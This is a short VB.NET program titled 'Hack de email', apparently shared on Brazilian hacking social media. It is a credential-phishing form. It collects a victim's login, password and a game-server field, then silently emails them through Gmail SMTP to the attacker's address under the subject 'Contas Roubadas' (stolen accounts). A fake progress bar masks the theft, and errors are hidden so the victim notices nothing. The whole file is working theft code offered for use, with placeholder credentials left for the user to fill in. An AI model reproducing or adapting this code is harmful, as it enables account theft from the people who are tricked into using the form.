Hack de email

'CREDITOS: GABU THELINK
'FACEBOOK: https://www.facebook.com/GabuScott
'GRUPO FACEBOOK: https://www.facebook.com/groups/FsocietyBrazil/
'CANAL YOUTUBE: https://www.youtube.com/channel/UCSz8KUkrOp9YGJ1QfH9qKvA

Imports System.Net.Mail
Public Class Form1
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        'ProgressBar
        'Esse codigo vai fazer a barrinha carregar quando botão for clicado
        ProgressBar1.Value = ProgressBar1.Value + 1
        If ProgressBar1.Value = ProgressBar1.Maximum Then
            ProgressBar1.Value = 0
            Timer1.Stop()
            Timer1.Enabled = False
            TextBox1.Enabled = True
            TextBox2.Enabled = True
        End If
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim MyMailMessage As New MailMessage()
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        'Email
        MyMailMessage.From = New MailAddress("SeuEmail@gmail.com")
        'Destinatario
        MyMailMessage.To.Add("SeuEmail@gmail.com")
        'Titulo
        MyMailMessage.Subject = ("Contas Roubadas")
        'Informaçoes
        MyMailMessage.Body = ("MU:   " & TextBox1.Text & "Login:   " & TextBox2.Text & " Senha:   " & TextBox3.Text)
        'Corps
        'SMTP
        'Porta
        SMTPServer.Port = ("587")
        SMTPServer.Credentials = New System.Net.NetworkCredential("SeuEmail@gmail.com", "Sua Senha")
        'Email e Senha
        SMTPServer.EnableSsl = True
        Try
            SMTPServer.Send(MyMailMessage)
        Catch ex As Exception

        End Try

        'Envio
        Timer1.Enabled = True
        Timer1.Start()
        Timer1.Interval = 1000
        ' = 1min
        TextBox1.Enabled = False
        TextBox2.Enabled = False
        TextBox3.Enabled = False

    End Sub


End Class